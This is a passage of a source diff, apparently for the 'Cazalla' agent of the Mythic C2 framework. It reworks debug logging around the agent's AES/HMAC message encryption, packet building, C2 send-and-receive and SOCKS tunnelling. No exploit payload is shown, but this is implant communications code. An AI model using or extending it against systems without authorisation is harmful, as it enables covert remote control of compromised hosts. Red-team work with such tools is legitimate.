printf("\n[CRYPTO] Data used for HMAC calculation (first 48 bytes): ");
_dbg("Data used for HMAC calculation (first 48 bytes): ");
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
printf("%02x ", parser->buffer[i]);
if ((i + 1) % 16 == 0) printf("\n[CRYPTO] ");
_dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 16 == 0) _dbg("\n");
}
printf("\n");
free(hmac_calculated);
return FALSE;
}
printf("[CRYPTO] HMAC verification SUCCESS\n");
_inf("HMAC verification SUCCESS");
free(hmac_calculated);
// Decrypt
printf("[CRYPTO] === DECRYPTING ===\n");
printf("[CRYPTO] Initializing AES context with IV...\n");
_inf("=== DECRYPTING ===");
_dbg("Initializing AES context with IV...");
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, g_aesKey, iv);
printf("[CRYPTO] Decrypting %zu bytes of ciphertext...\n", encrypted_data_length);
_inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length);
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
printf("[CRYPTO] Decryption complete\n");
_dbg("Decryption complete");
// Log decrypted data before unpadding
printf("[CRYPTO] Decrypted data (before unpadding, hex, first 64 bytes): ");
_dbg("Decrypted data (before unpadding, hex, first 64 bytes): ");
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
printf("%02x ", parser->buffer[IVSIZE + i]);
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
_dbg(" %02x ", parser->buffer[IVSIZE + i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
// Remove padding
printf("[CRYPTO] === REMOVING PADDING ===\n");
_dbg("=== REMOVING PADDING ===");
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
printf("[CRYPTO] Padding length from last byte: %d\n", padding_length);
printf("[CRYPTO] Last 16 bytes (should show padding): ");
_dbg("Padding length from last byte: %d", padding_length);
_dbg("Last 16 bytes (should show padding): ");
size_t padding_start = IVSIZE + encrypted_data_length - 16;
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
printf("%02x ", parser->buffer[padding_start + i]);
_dbg(" %02x ", parser->buffer[padding_start + i]);
}
printf("\n");
if (padding_length > AES_BLOCKLEN) {
printf("[CRYPTO] ERROR: Invalid padding length: %d\n", padding_length);
_err("Invalid padding length: %d", padding_length);
return FALSE;
}
SIZE_T unpadded_len = encrypted_data_length - padding_length;
printf("[CRYPTO] Unpadded length: %zu bytes\n", unpadded_len);
_dbg("Unpadded length: %zu bytes", unpadded_len);
// Update parser
SIZE_T original_size = parser->tamano;
printf("[CRYPTO] Moving decrypted data to start of buffer (removing IV)...\n");
_dbg("Moving decrypted data to start of buffer (removing IV)...");
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
parser->tamano = unpadded_len;
// Log final decrypted data
printf("[CRYPTO] === DECRYPTION COMPLETE ===\n");
printf("[CRYPTO] Final decrypted size: %zu bytes (original encrypted: %zu bytes)\n",
parser->tamano, original_size);
printf("[CRYPTO] Final decrypted data (hex, first 64 bytes): ");
_inf("=== DECRYPTION COMPLETE ===");
_dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)",
parser->tamano, original_size);
_dbg("Final decrypted data (hex, first 64 bytes): ");
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
printf("%02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
_dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
// Log as ASCII if printable
if (parser->tamano > 0) {
printf("[CRYPTO] First byte: 0x%02X\n", parser->buffer[0]);
_dbg("First byte: 0x%02X", parser->buffer[0]);
if (parser->tamano >= 36) {
char uuidBuf[37] = {0};
memcpy(uuidBuf, parser->buffer, 36);
printf("[CRYPTO] First 36 bytes (should be UUID if present): %s\n", uuidBuf);
_dbg("First 36 bytes (should be UUID if present): %s", uuidBuf);
}
}
printf("[CRYPTO] Parser decrypted successfully (length: %zu)\n", parser->tamano);
fflush(stdout);
_inf("Parser decrypted successfully (length: %zu)", parser->tamano);
return TRUE;
}
@@ -1,42 +1,83 @@
#pragma once
#include <stdio.h>
#include <windows.h>
#include <string.h>
#if defined(_DEBUG)
/* Debug level defines (from DEBUG_LEVEL parameter, set by Makefile):
* 0 = NONE - no debug output
* 1 = ERR - only _err() messages
* 2 = WRN - _err() + _wrn() messages
* 3 = INF - _err() + _wrn() + _inf() messages
* 4 = ALL - all messages (_err() + _wrn() + _inf() + _dbg())
*/
/* Debug output defines (from DEBUG_OUTPUT parameter, set by Makefile):
* 0 = CONSOLE - output to stdout (printf)
* 1 = FILE - output to C:\Temp\Ra.log
*/
#if defined(DEBUG_LEVEL) && DEBUG_LEVEL > 0
/* Debug is enabled - determine which levels are active */
#define ENABLE_ERR 1 /* Always enable errors (level >= 1) */
#define ENABLE_WRN (DEBUG_LEVEL >= 2)
#define ENABLE_INF (DEBUG_LEVEL >= 3)
#define ENABLE_DBG (DEBUG_LEVEL >= 4)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#if defined(DEBUG_OUTPUT) && DEBUG_OUTPUT == 1
/* File-based logging */
#define _log(level, format, ...) do { \
HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); \
if (debugFile != INVALID_HANDLE_VALUE) { \
CHAR out[512] = { 0 }; \
DWORD written = 0; \
sprintf_s(out, sizeof(out), "[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
WriteFile(debugFile, out, (DWORD)strlen(out), &written, NULL); \
CloseHandle(debugFile); \
} \
} while(0)
#else
/* Console-based logging (default) */
#define _log(level, format, ...) do { \
printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
fflush(stdout); \
} while(0)
#endif
/* Level-specific macros */
#if ENABLE_DBG
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#else
#define _dbg(format, ...) ((void)0)
#endif
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#if ENABLE_WRN
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#else
#define _wrn(format, ...) ((void)0)
#endif
#if ENABLE_INF
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#define _inf(format, ...) ((void)0)
#endif
#else
/* Release build: no debug output */
#define _log(level, format, ...) ((void)0)
#define _dbg(format, ...) ((void)0)
#define _err(format, ...) ((void)0)
#define _wrn(format, ...) ((void)0)
#define _inf(format, ...) ((void)0)
#endif
@@ -1,18 +1,14 @@
#include "cazalla.h"
#include <stdio.h>
int main() {
printf("=== CAZALLA AGENT STARTING ===\n");
fflush(stdout);
_inf("=== CAZALLA AGENT STARTING ===");
#ifdef AESPSK
printf("AESPSK: %s\n", AESPSK);
fflush(stdout);
_inf("AESPSK: %s", AESPSK);
#endif
Sleep(2000); // Pausa 2 segundos para ver si inicia
cazallaMain();
printf("=== CAZALLA AGENT EXITING ===\n");
fflush(stdout);
printf("Press any key to exit...\n");
_inf("=== CAZALLA AGENT EXITING ===");
_inf("Press any key to exit...");
getchar();
return 0;
}
@@ -3,15 +3,9 @@
#include "paquete.h"
#include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
_dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
@@ -32,7 +26,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
}
VOID liberarPaquete(PPaquete paquete) {
DBG_PRINTF("liberarPaquete()");
_dbg("liberarPaquete()");
LocalFree(paquete->buffer);
LocalFree(paquete);
}
@@ -40,8 +34,7 @@ VOID liberarPaquete(PPaquete paquete) {
/* Callback C para volcar mensajes SOCKS al paquete */
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
PPaquete pkt = (PPaquete)ctx;
printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
fflush(stdout);
_dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
addInt32(pkt, server_id);
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
if (data_len && data) {
@@ -53,54 +46,44 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha
} else {
addInt32(pkt, 0);
}
printf("[SOCKS] flush_socks_cb completed\n");
fflush(stdout);
_dbg("flush_socks_cb completed");
}
/* === Nueva función: inserta tráfico SOCKS pendiente === */
static VOID flushSocksTraffic(PPaquete paquete) {
printf("[PAQUETE] flushSocksTraffic()\n");
fflush(stdout);
_dbg("flushSocksTraffic()");
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
PPaquete temp = nuevoPaquete(0, FALSE);
if (!temp) {
printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n");
fflush(stdout);
_err("nuevoPaquete temp failed");
return;
}
printf("[PAQUETE] temp paquete created\n");
fflush(stdout);
_dbg("temp paquete created");
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length);
fflush(stdout);
_dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length);
if (temp->length > 0) {
printf("[PAQUETE] Adding SOCKS block marker\n");
fflush(stdout);
_dbg("Adding SOCKS block marker");
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
addInt32(paquete, (UINT32)temp->length);
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
}
liberarPaquete(temp);
printf("[PAQUETE] flushSocksTraffic() completed\n");
fflush(stdout);
_dbg("flushSocksTraffic() completed");
}
/* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) {
printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length);
fflush(stdout);
_dbg("mandarPaquete() len=%zu", paquete->length);
// Solo añadir tráfico SOCKS si el proxy está activo
if (socks_proxy_active) {
printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n");
fflush(stdout);
_dbg("SOCKS activo, flushSocksTraffic()");
flushSocksTraffic(paquete);
} else {
printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n");
fflush(stdout);
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
}
// === Handle encryption according to Mythic format ===
@@ -110,7 +93,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
SIZE_T tamanoAEnviar = 0;
if (crypto_is_encryption_enabled()) {
printf("[PAQUETE] Cifrado habilitado, formato: Base64(UUID + AES256(data))\n");
_inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))");
// Extract UUID - UUID is always 36 characters (UUIDv4 format)
// Format: [UUID(36)][command_byte][rest...]
@@ -118,8 +101,8 @@ PAnalizador mandarPaquete(PPaquete paquete) {
const SIZE_T UUID_LENGTH = 36;
if (paquete->length < UUID_LENGTH + 1) {
printf("[PAQUETE] ERROR: Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)\n",
paquete->length, UUID_LENGTH + 1);
_err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)",
paquete->length, UUID_LENGTH + 1);
return NULL;
}
@@ -131,32 +114,30 @@ PAnalizador mandarPaquete(PPaquete paquete) {
// Log UUID extraction with detailed info
char uuidBuf[37] = {0};
memcpy(uuidBuf, uuidStr, UUID_LENGTH);
printf("[PAQUETE] === EXTRACTING UUID ===\n");
printf("[PAQUETE] Tamaño total del paquete: %zu bytes\n", paquete->length);
printf("[PAQUETE] UUID extraído: %s (length: %zu)\n", uuidBuf, UUID_LENGTH);
printf("[PAQUETE] Data offset (after UUID): %zu\n", dataOffset);
printf("[PAQUETE] Datos a cifrar: %zu bytes\n", dataLength);
_dbg("=== EXTRACTING UUID ===");
_dbg("Tamaño total del paquete: %zu bytes", paquete->length);
_dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH);
_dbg("Data offset (after UUID): %zu", dataOffset);
_dbg("Datos a cifrar: %zu bytes", dataLength);
// Log raw packet structure
printf("[PAQUETE] Raw packet structure (first 60 bytes, hex): ");
_dbg("Raw packet structure (first 60 bytes, hex): ");
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
printf("%02x ", ((PBYTE)paquete->buffer)[i]);
if ((i + 1) % 16 == 0) printf("\n[PAQUETE] ");
_dbg(" %02x ", ((PBYTE)paquete->buffer)[i]);
if ((i + 1) % 16 == 0) _dbg("\n");
}
printf("\n");
fflush(stdout);
// Create a temporary package with only the data part (without UUID)
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!dataPackage) {
printf("[PAQUETE] ERROR: Failed to allocate data package\n");
_err("Failed to allocate data package");
return NULL;
}
dataPackage->buffer = LocalAlloc(LPTR, dataLength);
if (!dataPackage->buffer) {
LocalFree(dataPackage);
printf("[PAQUETE] ERROR: Failed to allocate data buffer\n");
_err("Failed to allocate data buffer");
return NULL;
}
@@ -164,42 +145,37 @@ PAnalizador mandarPaquete(PPaquete paquete) {
dataPackage->length = dataLength;
// Log data to encrypt
printf("[PAQUETE] === DATA TO ENCRYPT (without UUID) ===\n");
printf("[PAQUETE] Data length: %zu bytes\n", dataPackage->length);
printf("[PAQUETE] Data preview (hex, first 64 bytes): ");
_dbg("=== DATA TO ENCRYPT (without UUID) ===");
_dbg("Data length: %zu bytes", dataPackage->length);
_dbg("Data preview (hex, first 64 bytes): ");
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
printf("[PAQUETE] First byte of data (should be command byte): 0x%02X\n",
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
fflush(stdout);
_dbg("First byte of data (should be command byte): 0x%02X",
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
// Encrypt only the data part (without UUID)
printf("[PAQUETE] === STARTING ENCRYPTION ===\n");
printf("[PAQUETE] Calling CryptoMythicEncryptPackage() with %zu bytes...\n", dataPackage->length);
fflush(stdout);
_inf("=== STARTING ENCRYPTION ===");
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
if (!CryptoMythicEncryptPackage(dataPackage)) {
printf("[PAQUETE] ERROR: Falló el cifrado\n");
_err("Falló el cifrado");
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
return NULL;
}
printf("[PAQUETE] === ENCRYPTION COMPLETE ===\n");
printf("[PAQUETE] Datos cifrados: %zu bytes (original: %zu bytes)\n",
dataPackage->length, dataLength);
_inf("=== ENCRYPTION COMPLETE ===");
_dbg("Datos cifrados: %zu bytes (original: %zu bytes)",
dataPackage->length, dataLength);
// Log encrypted data preview
printf("[PAQUETE] Encrypted data preview (hex, first 80 bytes): ");
_dbg("Encrypted data preview (hex, first 80 bytes): ");
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
fflush(stdout);
// Concatenate UUID + encrypted data
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
@@ -207,98 +183,93 @@ PAnalizador mandarPaquete(PPaquete paquete) {
if (!finalBuffer) {
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
printf("[PAQUETE] ERROR: Failed to allocate final buffer\n");
_err("Failed to allocate final buffer");
return NULL;
}
printf("[PAQUETE] === CONCATENATING UUID + ENCRYPTED DATA ===\n");
_dbg("=== CONCATENATING UUID + ENCRYPTED DATA ===");
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
printf("[PAQUETE] Copied UUID (%zu bytes) to final buffer\n", UUID_LENGTH);
_dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH);
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
printf("[PAQUETE] Copied encrypted data (%zu bytes) to final buffer at offset %zu\n",
dataPackage->length, UUID_LENGTH);
_dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu",
dataPackage->length, UUID_LENGTH);
datosAEnviar = finalBuffer;
tamanoAEnviar = finalSize;
printf("[PAQUETE] === FINAL BUFFER READY ===\n");
printf("[PAQUETE] Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)\n",
finalSize, UUID_LENGTH, dataPackage->length);
_dbg("=== FINAL BUFFER READY ===");
_dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)",
finalSize, UUID_LENGTH, dataPackage->length);
// Log first bytes of final buffer (show UUID + start of encrypted data)
printf("[PAQUETE] Final buffer preview (hex, first 100 bytes): ");
_dbg("Final buffer preview (hex, first 100 bytes): ");
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
printf("%02x ", finalBuffer[i]);
_dbg(" %02x ", finalBuffer[i]);
if (i == UUID_LENGTH - 1) {
printf("| "); // Mark where UUID ends
_dbg("| "); // Mark where UUID ends
}
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
// Log final buffer as readable string (first part should be UUID)
char finalPreview[101] = {0};
size_t previewLen = finalSize > 100 ? 100 : finalSize;
memcpy(finalPreview, finalBuffer, previewLen);
printf("[PAQUETE] Final buffer preview (ASCII, first 100 bytes): %.*s\n",
(int)previewLen, finalPreview);
printf("[PAQUETE] First 36 chars should be UUID: %.*s\n", 36, finalPreview);
fflush(stdout);
_dbg("Final buffer preview (ASCII, first 100 bytes): %.*s",
(int)previewLen, finalPreview);
_dbg("First 36 chars should be UUID: %.*s", 36, finalPreview);
// Cleanup temporary package
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
} else {
printf("[PAQUETE] Cifrado deshabilitado, enviando plaintext completo\n");
_inf("Cifrado deshabilitado, enviando plaintext completo");
datosAEnviar = (PBYTE)paquete->buffer;
tamanoAEnviar = paquete->length;
}
// Codificar en base64
printf("[PAQUETE] === BASE64 ENCODING ===\n");
printf("[PAQUETE] Binary size to encode: %zu bytes\n", tamanoAEnviar);
_dbg("=== BASE64 ENCODING ===");
_dbg("Binary size to encode: %zu bytes", tamanoAEnviar);
// Log binary data before base64
printf("[PAQUETE] Binary data preview (hex, first 80 bytes): ");
_dbg("Binary data preview (hex, first 80 bytes): ");
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
printf("%02x ", datosAEnviar[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
_dbg(" %02x ", datosAEnviar[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
if (!paqueteParaMandar) {
printf("[PAQUETE] ERROR: b64Codificado returned NULL\n");
fflush(stdout);
_err("b64Codificado returned NULL");
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
LocalFree(datosAEnviar);
}
return NULL;
}
printf("[PAQUETE] Base64 encoding complete\n");
printf("[PAQUETE] Tamaño después de base64: %zu bytes (expected: ~%zu bytes)\n",
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
_dbg("Base64 encoding complete");
_dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)",
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
// Log base64 preview with more detail
if (paqueteParaMandar && tamanoDelPaquete > 0) {
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
char preview[101] = {0};
memcpy(preview, paqueteParaMandar, previewLen);
printf("[PAQUETE] Base64 preview (first %zu chars): %s\n", previewLen, preview);
_dbg("Base64 preview (first %zu chars): %s", previewLen, preview);
if (tamanoDelPaquete > 100) {
printf("[PAQUETE] ... (total %zu chars)\n", tamanoDelPaquete);
_dbg("... (total %zu chars)", tamanoDelPaquete);
}
// Show where UUID should be in base64 (first 48 chars should be UUID base64)
printf("[PAQUETE] First 48 chars of base64 (should contain UUID): %.*s\n",
48, paqueteParaMandar);
_dbg("First 48 chars of base64 (should contain UUID): %.*s",
48, paqueteParaMandar);
}
printf("[PAQUETE] === READY TO SEND ===\n");
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete);
fflush(stdout);
_inf("=== READY TO SEND ===");
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
LocalFree(paqueteParaMandar);
@@ -308,21 +279,18 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
if (!respuesta) {
printf("[PAQUETE] ERROR: respuesta NULL\n");
fflush(stdout);
_err("respuesta NULL");
return NULL;
}
printf("[PAQUETE] respuesta OK\n");
fflush(stdout);
_dbg("respuesta OK");
// === Decodificar base64 de la respuesta ===
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
// the response, but the agent still receives it base64-encoded from HTTP.
// The agent will handle decryption AFTER base64 decode if needed.
if (respuesta && respuesta->original && respuesta->tamano > 0) {
printf("[PAQUETE] Decodificando base64 de %zu bytes...\n", respuesta->tamano);
fflush(stdout);
_dbg("Decodificando base64 de %zu bytes...", respuesta->tamano);
PBYTE datosDecodificados = NULL;
SIZE_T tamanoDecodificado = 0;
@@ -335,40 +303,38 @@ PAnalizador mandarPaquete(PPaquete paquete) {
// Decodificar
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
printf("[PAQUETE] Base64 decodificado: %zu bytes\n", tamanoDecodificado);
fflush(stdout);
_dbg("Base64 decodificado: %zu bytes", tamanoDecodificado);
// === Decrypt if encryption is enabled ===
if (crypto_is_encryption_enabled()) {
printf("[PAQUETE] === DECRYPTING RESPONSE ===\n");
printf("[PAQUETE] Base64 decoded size: %zu bytes\n", tamanoDecodificado);
_inf("=== DECRYPTING RESPONSE ===");
_dbg("Base64 decoded size: %zu bytes", tamanoDecodificado);
// Log raw data before decryption
printf("[PAQUETE] Raw response before decryption (hex, first 80 bytes): ");
_dbg("Raw response before decryption (hex, first 80 bytes): ");
for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
printf("%02x ", datosDecodificados[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
_dbg(" %02x ", datosDecodificados[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
if (tamanoDecodificado >= 36) {
char uuidCheck[37] = {0};
memcpy(uuidCheck, datosDecodificados, 36);
printf("[PAQUETE] First 36 bytes (UUID check): %s\n", uuidCheck);
printf("[PAQUETE] Expected UUID: %s\n", cazallaConfig->idAgente);
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
_dbg("Expected UUID: %s", cazallaConfig->idAgente);
// If response starts with UUID, we need to extract it
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
printf("[PAQUETE] Response format: UUID + encrypted_data detected\n");
printf("[PAQUETE] Extracting encrypted data (after UUID)...\n");
_dbg("Response format: UUID + encrypted_data detected");
_dbg("Extracting encrypted data (after UUID)...");
// Extract encrypted data (without UUID)
SIZE_T encrypted_size = tamanoDecodificado - 36;
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
if (encrypted_data) {
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
printf("[PAQUETE] Encrypted data size (without UUID): %zu bytes\n", encrypted_size);
_dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size);
// Create parser with just the encrypted data
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
@@ -377,8 +343,8 @@ PAnalizador mandarPaquete(PPaquete paquete) {
tempParser->tamano = encrypted_size;
if (CryptoMythicDecryptParser(tempParser)) {
printf("[PAQUETE] === DECRYPTION SUCCESS ===\n");
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano);
_inf("=== DECRYPTION SUCCESS ===");
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
// Create final buffer with UUID + decrypted data
SIZE_T final_size = 36 + tempParser->tamano;
@@ -389,10 +355,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
LocalFree(datosDecodificados);
datosDecodificados = final_buffer;
tamanoDecodificado = final_size;
printf("[PAQUETE] Final response (UUID + decrypted): %zu bytes\n", final_size);
_dbg("Final response (UUID + decrypted): %zu bytes", final_size);
}
} else {
printf("[PAQUETE] ERROR: Falló el descifrado\n");
_err("Falló el descifrado");
}
LocalFree(tempParser);
} else {
@@ -401,25 +367,25 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
} else {
// Response doesn't start with UUID, try decrypting directly
printf("[PAQUETE] Response doesn't start with UUID, trying direct decryption...\n");
_dbg("Response doesn't start with UUID, trying direct decryption...");
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) {
tempParser->buffer = datosDecodificados;
tempParser->tamano = tamanoDecodificado;
if (CryptoMythicDecryptParser(tempParser)) {
printf("[PAQUETE] === DECRYPTION SUCCESS (no UUID in response) ===\n");
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano);
_inf("=== DECRYPTION SUCCESS (no UUID in response) ===");
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
datosDecodificados = tempParser->buffer;
tamanoDecodificado = tempParser->tamano;
} else {
printf("[PAQUETE] ERROR: Falló el descifrado\n");
_err("Falló el descifrado");
}
LocalFree(tempParser);
}
}
} else {
printf("[PAQUETE] WARNING: Response too short (%zu bytes), cannot check UUID\n", tamanoDecodificado);
_wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado);
// Try decrypting anyway
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) {
@@ -427,16 +393,15 @@ PAnalizador mandarPaquete(PPaquete paquete) {
tempParser->tamano = tamanoDecodificado;
if (CryptoMythicDecryptParser(tempParser)) {
printf("[PAQUETE] Decryption succeeded for short response\n");
_dbg("Decryption succeeded for short response");
datosDecodificados = tempParser->buffer;
tamanoDecodificado = tempParser->tamano;
} else {
printf("[PAQUETE] ERROR: Falló el descifrado\n");
_err("Falló el descifrado");
}
LocalFree(tempParser);
}
}
fflush(stdout);
}
// Reemplazar el buffer del analizador
@@ -452,22 +417,18 @@ PAnalizador mandarPaquete(PPaquete paquete) {
SIZE_T cursor = len - 5;
BOOL found = FALSE;
printf("[PAQUETE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados\n", len);
fflush(stdout);
_dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len);
// Buscar marcador desde el final
while (cursor > 0 && cursor < len - 4) {
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
printf("[PAQUETE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
fflush(stdout);
_dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor);
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
printf("[PAQUETE] Bloque SOCKS: ext_len=%u\n", ext_len);
fflush(stdout);
_dbg("Bloque SOCKS: ext_len=%u", ext_len);
if (cursor + 5 + ext_len > len) {
